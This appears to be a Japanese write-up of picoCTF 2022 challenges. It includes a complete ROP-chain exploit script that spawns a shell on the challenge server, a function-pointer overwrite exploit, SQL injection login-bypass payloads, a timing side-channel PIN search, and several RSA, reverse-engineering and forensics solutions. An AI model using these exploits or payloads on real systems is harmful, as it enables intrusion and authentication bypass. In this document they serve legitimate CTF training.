How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x41412d41 ('A-AA')
ECX: 0x80e5300 --> 0xfbad2288 
EDX: 0xffffcfa4 --> 0x0 
ESI: 0x80e5000 --> 0x0 
EDI: 0x80e5000 --> 0x0 
EBP: 0x44414128 ('(AAD')
ESP: 0xffffcf60 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf64 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf68 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf6c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcf70 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcf74 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcf78 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcf7c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ patto AA;A
AA;A found at offset: 28

ROPチェーンを確認し、そのチェーンを送信する。

$ ROPgadget --binary ./vuln  --ropchain --badbytes 0a
        :
        :
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret
	[+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
	[+] Gadget found: 0x80b074a pop eax ; ret
	[+] Gadget found: 0x804fb90 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x804fb90 xor eax, eax ; ret
	[+] Gadget found: 0x808055e inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x8049022 pop ebx ; ret
	[+] Gadget found: 0x8049e39 pop ecx ; ret
	[+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x804a3d2 int 0x80

- Step 5 -- Build the ROP chain

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5064) # @ .data + 4
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x08049022) # pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x08049e39) # pop ecx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080e5060) # padding without overwrite ebx
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0804a3d2) # int 0x80
from pwn import *

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 56529)
else:
    p = process('./vuln')

payload = b'A' * 28
payload += p32(0x080583c9) # pop edx ; pop ebx ; ret
payload += p32(0x080e5060) # @ .data
payload += p32(0x41414141) # padding
payload += p32(0x080b074a) # pop eax ; ret
payload += b'/bin'
payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret
payload += p32(0x080583c9) # pop edx ; pop ebx ; ret
payload += p32(0x080e5064) # @ .data + 4
payload += p32(0x41414141) # padding
payload += p32(0x080b074a) # pop eax ; ret
payload += b'//sh'
payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret
payload += p32(0x080583c9) # pop edx ; pop ebx ; ret
payload += p32(0x080e5068) # @ .data + 8
payload += p32(0x41414141) # padding
payload += p32(0x0804fb90) # xor eax, eax ; ret
payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret
payload += p32(0x08049022) # pop ebx ; ret
payload += p32(0x080e5060) # @ .data
payload += p32(0x08049e39) # pop ecx ; ret
payload += p32(0x080e5068) # @ .data + 8
payload += p32(0x080583c9) # pop edx ; pop ebx ; ret
payload += p32(0x080e5068) # @ .data + 8
payload += p32(0x080e5060) # padding without overwrite ebx
payload += p32(0x0804fb90) # xor eax, eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0808055e) # inc eax ; ret
payload += p32(0x0804a3d2) # int 0x80

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 56529: Done
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x83\x05\x08`P\x0e\x08AAAAJ\x07\x0b\x08/bin\x02\x91\x05\x08\xc9\x83\x05\x08dP\x0e\x08AAAAJ\x07\x0b\x08//sh\x02\x91\x05\x08\xc9\x83\x05\x08hP\x0e\x08AAAA\x90\xfb\x04\x08\x02\x91\x05\x08"\x90\x04\x08`P\x0e\x089\x9e\x04\x08hP\x0e\x08\xc9\x83\x05\x08hP\x0e\x08`P\x0e\x08\x90\xfb\x04\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08\xd2\xa3\x04\x08'
[*] Switching to interactive mode
$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_0f1f9878}
picoCTF{5n47ch_7h3_5h311_0f1f9878}

SQLiLite (Web Exploitation 300)

SQLインジェクションの問題。

username: a
password: b
SQL query: SELECT * FROM users WHERE name='a' AND password='b'
Login failed.
username: a' or 1=1 #
password: b
SQL query: SELECT * FROM users WHERE name='a' or 1=1 #' AND password='b'
username: a' or 1=1 --
password: b
SQL query: SELECT * FROM users WHERE name='a' or 1=1 --' AND password='b'
Logged in! But can you see the flag, it is in plainsight.

ログインでき、HTMLソースを見ると、フラグが書いてあった。

picoCTF{L00k5_l1k3_y0u_solv3d_it_147ec287}

St3g0 (Forensics 300)

StegSolveで開き、[Analyse]>[Data Extract]でRGBのLSBのみチェックを入れると、フラグが現れる。

picoCTF{7h3r3_15_n0_5p00n_f2f7a0e5}

unpackme (Reverse Engineering 300)

$ upx -d unpackme-upx
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1002408 <-    379108   37.82%   linux/amd64   unpackme-upx

Unpacked 1 file.

UPXアンパックしたバイナリをGhidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  int iStack68;
  undefined8 uStack64;
  undefined8 uStack56;
  undefined8 uStack48;
  undefined8 uStack40;
  undefined4 uStack32;
  undefined2 uStack28;
  long lStack16;
  
  lStack16 = *(long *)(in_FS_OFFSET + 0x28);
  uStack56 = 0x4c75257240343a41;
  uStack48 = 0x30623e306b6d4146;
  uStack40 = 0x3634376130486637;
  uStack32 = 0x67366563;
  uStack28 = 0x4e;
  printf(&UNK_004b3004);
  __isoc99_scanf(&UNK_004b3020,&iStack68);
  if (iStack68 == 0xb83cb) {
    uStack64 = rotate_encrypt(0,&uStack56);
    fputs(uStack64,stdout);
    putchar(10);
    free(uStack64);
  }
  else {
    puts(&UNK_004b3023);
  }
  if (lStack16 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
>>> 0xb83cb
754635

実行して、754635と入力すればよさそう。

$ ./unpackme-upx
What's my favorite number? 754635
picoCTF{up><_m3_f7w_2fce46e8}
picoCTF{up><_m3_f7w_2fce46e8}

Very Smooth (Cryptography 300)

nを素因数分解する。

>>> 0x809fbd8b667d664f01fe1b0387e0b424efe2035e2dec4d249ace30563d0e1a50050020880c2f01bad63b22e21125d780d887cffdb1165268e6be788cd49ad8a9a1d27482f1a8ccbb37adc0deee65d09f312ebaab854782e2411d917181fef63d478b7e25391ac10d0330cafcb5c8d859ee1e403be029ce5dd75f864deabe5a65645b099afb7af4ed84dd75d1e4b966e2a0662ece5409feeacb2a277ddf05b72153ff6f36524f7693cc432269b56bd8ab3d601844aef6a6130eaaec08f92f9816ed0e7781a23a043570364807bef579c1e9175e3fe2b1d8f52356230feea244ce1b88b2342c9e40b25583a1fe558bdfb3a7115a4c71a6f06b706419ce8e21a3e1
16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193
$ python -m primefac 16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193
16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193: 90948561168129273993221811210960666354464742371830355918414414795363383976255151106886894591386782182287999383540600363376830936851508670766644159365209354955699549804449139999147729583415495583682823772357163202067648618287663470084801559563298980120877685812575934222306026078618063649035501461830981153927 178532499671100552835009070640337389046750682679089738340573700044796870154662974181078976135962844198449431226967553502622429495519191503452420112028010459424071411943079846180687031649021712686481182344681043382768844946463295119108040833072875499716211043518429320530329757455813143342021442699449162409559

あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 0x809fbd8b667d664f01fe1b0387e0b424efe2035e2dec4d249ace30563d0e1a50050020880c2f01bad63b22e21125d780d887cffdb1165268e6be788cd49ad8a9a1d27482f1a8ccbb37adc0deee65d09f312ebaab854782e2411d917181fef63d478b7e25391ac10d0330cafcb5c8d859ee1e403be029ce5dd75f864deabe5a65645b099afb7af4ed84dd75d1e4b966e2a0662ece5409feeacb2a277ddf05b72153ff6f36524f7693cc432269b56bd8ab3d601844aef6a6130eaaec08f92f9816ed0e7781a23a043570364807bef579c1e9175e3fe2b1d8f52356230feea244ce1b88b2342c9e40b25583a1fe558bdfb3a7115a4c71a6f06b706419ce8e21a3e1
c = 0x74ce97c4712bc3827a9f6021089c093a7540a6280330a9ec7c6f446a88093c33a6b9a0a1fdf2cad96e32344970adbf26601d9baf2c4e9892dde435dc994bde4754fddbac47a475b3907a455c6f671484b473b5481080224406b1d48d48da5ba0d9fccdc5732cb64c0f02c32ddc1413f66bd95b8e5a929e5b1f14843bd8f5d4747a4aabcc64217a187db6913facce48f2019b5524633153ee40a4376960b7f669f331da29227fa9a8c09a58a6f3db7453dd89a6093c062ff95502cc7cca5ee497c8ec6265413f5d05d1b720b4eb620875b6f6d2a7958e2391835497a106f4c280cd1ca8b9605bbef5952b54dffc028c160c1495e5cd2957f6f2bbb2e868823b6a
e = 0x10001

p = 90948561168129273993221811210960666354464742371830355918414414795363383976255151106886894591386782182287999383540600363376830936851508670766644159365209354955699549804449139999147729583415495583682823772357163202067648618287663470084801559563298980120877685812575934222306026078618063649035501461830981153927
q = 178532499671100552835009070640337389046750682679089738340573700044796870154662974181078976135962844198449431226967553502622429495519191503452420112028010459424071411943079846180687031649021712686481182344681043382768844946463295119108040833072875499716211043518429320530329757455813143342021442699449162409559

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
picoCTF{91e08d13}

function overwrite (Binary Exploitation 400)

checkとfunのアドレスを確認する。

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ p &check
$1 = (<data variable, no debug info> *) 0x804c040 <check>
gdb-peda$ p &fun
$2 = (<data variable, no debug info> *) 0x804c080 <fun>

fun[-16]を指定し、easy_checker関数アドレスとhard_checker関数アドレスの差分を引けば、チェック関数をeasy_checkerに入れ替えチェックすることができる。

from pwn import *

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 64374)
else:
    p = process('./vuln')

elf = ELF('./vuln')

easy_checker_addr = elf.symbols['easy_checker']
hard_checker_addr = elf.symbols['hard_checker']
print(hex(easy_checker_addr))
print(hex(hard_checker_addr))

payload = b''
sum = 1337
while True:
    if sum > ord('a'):
        payload += b'a'
        sum -= ord('a')
    else:
        payload += bytes([sum])
        break

data = p.recvuntil(b'>> ').decode()
print(data + payload.decode())
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

index = -16
payload = b'%d %d' % (index, easy_checker_addr - hard_checker_addr)
print(payload.decode())
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 64374: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x80492fc
0x8049436
Tell me a story and then I'll tell you if you're a 1337 >> aaaaaaaaaaaaaL
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
-16 -314
You're 1337. Here's the flag.
picoCTF{0v3rwrit1ng_P01nt3rs_789b0a98}
[*] Closed connection to saturn.picoctf.net port 64374
picoCTF{0v3rwrit1ng_P01nt3rs_789b0a98}

Keygenme (Reverse Engineering 400)

Ghidraでデコンパイルする。

undefined8 FUN_0010148b(void)

{
  char cVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your license key: ");
  fgets(local_38,0x25,stdin);
  cVar1 = FUN_00101209(local_38);
  if (cVar1 == '\0') {
    puts("That key is invalid.");
  }
  else {
    puts("That key is valid.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

undefined8 FUN_00101209(char *param_1)

{
  size_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_d0;
  int local_cc;
  int local_c8;
  int local_c4;
  int local_c0;
  undefined2 local_ba;
  byte local_b8 [16];
  byte local_a8 [16];
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined4 local_80;
  char local_78 [10];
  undefined local_6e;
  undefined local_6c;
  undefined local_6b;
  undefined local_62;
  undefined local_60;
  undefined local_5f;
  char local_58 [21];
  undefined local_43;
  char acStack56 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_98 = 0x7b4654436f636970;
  local_90 = 0x30795f676e317262;
  local_88 = 0x6b5f6e77305f7275;
  local_80 = 0x5f7933;
  local_ba = 0x7d;
  sVar1 = strlen((char *)&local_98);
  MD5((uchar *)&local_98,sVar1,local_b8);
  sVar1 = strlen((char *)&local_ba);
  MD5((uchar *)&local_ba,sVar1,local_a8);
  local_d0 = 0;
  for (local_cc = 0; local_cc < 0x10; local_cc = local_cc + 1) {
    sprintf(local_78 + local_d0,"%02x",(ulong)local_b8[local_cc]);
    local_d0 = local_d0 + 2;
  }
  local_d0 = 0;
  for (local_c8 = 0; local_c8 < 0x10; local_c8 = local_c8 + 1) {
    sprintf(local_58 + local_d0,"%02x",(ulong)local_a8[local_c8]);
    local_d0 = local_d0 + 2;
  }
  for (local_c4 = 0; local_c4 < 0x1b; local_c4 = local_c4 + 1) {
    acStack56[local_c4] = *(char *)((long)&local_98 + (long)local_c4);
  }
  acStack56[27] = local_78[1];
  acStack56[28] = local_62;
  acStack56[29] = local_5f;
  acStack56[30] = local_6c;
  acStack56[31] = local_60;
  acStack56[32] = local_43;
  acStack56[33] = local_6b;
  acStack56[34] = local_6e;
  acStack56[35] = (undefined)local_ba;
  sVar1 = strlen(param_1);
  if (sVar1 == 0x24) {
    for (local_c0 = 0; local_c0 < 0x24; local_c0 = local_c0 + 1) {
      if (param_1[local_c0] != acStack56[local_c0]) {
        uVar2 = 0;
        goto LAB_00101475;
      }
    }
    uVar2 = 1;
  }
  else {
    uVar2 = 0;
  }
LAB_00101475:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}
>>> 0x7b4654436f636970.to_bytes(8, 'little')
b'picoCTF{'
>>> 0x30795f676e317262.to_bytes(8, 'little')
b'br1ng_y0'
>>> 0x6b5f6e77305f7275.to_bytes(8, 'little')
b'ur_0wn_k'
>>> 0x5f7933.to_bytes(3, 'little')
b'3y_'
>>> 0x7d.to_bytes(1, 'little')
b'}'

フラグの先頭27バイトはpicoCTF{br1ng_y0ur_0wn_k3y_。
md5を取って、local_78~local_30までの値を確認する。

>>> import hashlib
>>> hashlib.md5(b'picoCTF{br1ng_y0ur_0wn_k3y_').hexdigest()
'438218d572e90162d0981cbbc7d43882'
>>> hashlib.md5(b'}').hexdigest()
'cbb184dd8e05c9709e5dcaedaa0495cf'

77777777766666666666666665555555
876543210fedcba9876543210fedcba9
438218d572e90162d0981cbbc7d43882

55555555544444444444444443333333
876543210fedcba9876543210fedcba0
cbb184dd8e05c9709e5dcaedaa0495cf

以上からフラグの後半インデックス27~35の文字列は3b70ca1e}

picoCTF{br1ng_y0ur_0wn_k3y_3b70ca1e}

Operation Orchid (Forensics 400)

Autopsyで開き、flag.txt.encをエクスポートする。/root/.bash_historyを見ると、暗号化されてこのファイルが生成されたコマンドがわかる。

touch flag.txt
nano flag.txt 
apk get nano
apk --help
apk add nano
nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140084326745408:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:615:
$ cat flag.txt
picoCTF{h4un71ng_p457_186cf0da}
picoCTF{h4un71ng_p457_186cf0da}

Sequences (Cryptography 400)

f(n) = 55692 * f(n-4) - 9549 * f(n-3) + 301 * f(n-2) + 21 * f(n-1)

行列に変形する。

f(n)     21 301 -9549 55692   f(n-1)
f(n-1)   1  0   0     0       f(n-2)
f(n-2) = 0  1   0     0     * f(n-3)
f(n-3)   0  0   1     0       f(n-4)
21 301 -9549 55692
1  0   0     0
0  1   0     0     = Mとすると以下のようになる。
0  0   1     0
f(n)                f(3)
f(n-1)              f(2)
f(n-2) = M**(n-3) * f(1)
f(n-3)              f(0)

M = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。

M**(n-3) = P * J**(n-3) * inverse(P)

このことを使えば、m_funcの計算を高速化できる。

#!/usr/bin/env sage
import hashlib

def m_func(J, P, i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    C = P * (J^(i-3)) * ~P
    base = matrix([[4], [3], [2], [1]])
    return (C * base)[0][0]

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe08b5f3b248ef7c32b")

M = matrix([[21, 301, -9549, 55692], [1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0]])
J, P = M.jordan_form(transformation=True)

sol = m_func(J, P, ITERS)
sol = sol % (10**10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
assert sol_md5 == VERIF_KEY

key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
picoCTF{b1g_numb3rs_4ebc92cc}

SideChannel (Forensics 400)

$ time echo 01234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.144s
user	0m0.118s
sys	0m0.004s
$ time echo 11234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.145s
user	0m0.124s
sys	0m0.004s
$ time echo 21234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.138s
user	0m0.121s
sys	0m0.004s
$ time echo 31234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.147s
user	0m0.116s
sys	0m0.012s
$ time echo 41234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.253s
user	0m0.241s
sys	0m0.000s
$ time echo 51234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.143s
user	0m0.116s
sys	0m0.008s
$ time echo 61234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.135s
user	0m0.119s
sys	0m0.004s
$ time echo 71234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.134s
user	0m0.119s
sys	0m0.004s
$ time echo 81234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.147s
user	0m0.127s
sys	0m0.000s
$ time echo 91234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.147s
user	0m0.117s
sys	0m0.012s

先頭が4のときに時間がかかっている。2桁目以降も同じように時間がかかる数値を調べていく。

$ time echo 48234567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.374s
user	0m0.353s
sys	0m0.008s

$ time echo 48334567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.511s
user	0m0.480s
sys	0m0.004s

$ time echo 48394567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.614s
user	0m0.549s
sys	0m0.024s

$ time echo 48390567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.846s
user	0m0.826s
sys	0m0.004s

$ time echo 48390567 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.844s
user	0m0.810s
sys	0m0.020s

$ time echo 48390517 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access denied.

real	0m0.971s
user	0m0.932s
sys	0m0.020s

$ time echo 48390513 | ./pin_checker
Please enter your 8-digit PIN code:
8
Checking PIN...
Access granted. You may use your PIN to log into the master server.

real	0m1.071s
user	0m1.038s
sys	0m0.012s

PINは48390513であることがわかった。

$ nc saturn.picoctf.net 52026
Verifying that you are a human...
Please enter the master PIN code:
48390513
Password correct. Here's your flag:
picoCTF{t1m1ng_4tt4ck_6e11b28e}
picoCTF{t1m1ng_4tt4ck_6e11b28e}

Sum-O-Primes (Cryptography 400)

x = p + q
n = p * q
  ↓
phi = (p - 1) * (q - 1) = n - (p + q) + 1 = n - x + 1

phiが算出できるので、あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

x = 0x1603fc8d929cb31edf62bcce2d06794f3efd095accb163e6f2b78941bd8c646d746369636a582aaac77c16a9486881a9e3db26d742e48c4adcc417ef98f310a0c5433ab077dd872530c3c3c77fe0c080d84154bfdb4c920df9617e986999104d9284516c7babc80dc53718d59032aefdf41b9be53957dea3f00a386b2666d446e
n = 0x75302ba292dc4bf47ffd690b8edc70ef1fcca5e148b2b9c1b60227788afcfe77a0097929ed3789fe51ac66f678c558244890a09ae4af3e7d098fd366a1c859edabbff1c9e164d5354968798107ae8518fcaab3743de58a141ffd26c1e16cb09fed1f6b0d68536ec7fba744ed120fea8c3a7ac1ebfa55d664d2f321fb44e814650147a9031f3bfa8f69d87393c7d88976d28d147398a355020bcb8e5613f0b29028b77db710e163ca1019fd3c3a065465ea457adec45243c385d12d3a1de3178f6ca05964be92e8b5bc24d420956de96ccc9ce39e70705660eb6b2f4e675aac7d6d7ba45c84223fc5819b37aa85beff1382f1c2c3b97603150f30c17f7e674441
c = 0x562888c70ce9a5c5ed9a0be1b6196f854ba2efcdb6dd0f79319ee9e1142659f90a6bae67481eb0f635f445d3c9889da84639beb84ff7159dcf4d3a389873dc90163270d80dbb9503cbc32992cb592069ba5b3eb2bbe410a3121d658f18e100f7bd878a25c27ab8c6c15b690fce1ca43288163c544bfce344bcd089a5f4733acc7dc4b6160718e3c627e81a58f650281413bb5bf7bad5c15b00c5a2ef7dbe7a44cce85ed5b1becd5273a26453cb84d327aa04ad8783f46d22d61b96c501515913ca88937475603437067ce9dc10d68efc3da282cd64acaf8f1368c1c09800cb51f70f784bd0f94e067af541ae8d20ab7bfc5569e1213ccdf69d8a81c4746e90c1
e = 65537

phi = n - x + 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
picoCTF{674b189f}

NSA Backdoor (Cryptography 500)

nを素因数分解する。

>>> 0x71c27455f38b75f08868b5965d7afba3d81bff38f3b63271ad9250b9d7dc8c909d3555593c2eff9c27a3c259f8e95da41d55544a362494476141c8ccb93fc7d9019d965a20e16d55daf57b5663ede8d5ad97b7be239ecacb2636621ef997854f18f6da1394101dfb8229a2253dbc3ffc995cc6197bd85455f6178c14dbb9a611b3b42530fcdc5c36c5f63fd3796efdfc440a76cf966ff8c56e7e55872a57aa3a335c2b10a82421bcd1cd0d238496f2830d6524f6ba8e9890e30c4e6ad11df8948f4b428d8089a5d9455baca34cee61cb238042bcf8293aab13595aeb90fedabf23b1d0e82c6882824aa0f78c2208de641d9592a170ed839728f6c7e6b6bdf831
14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161
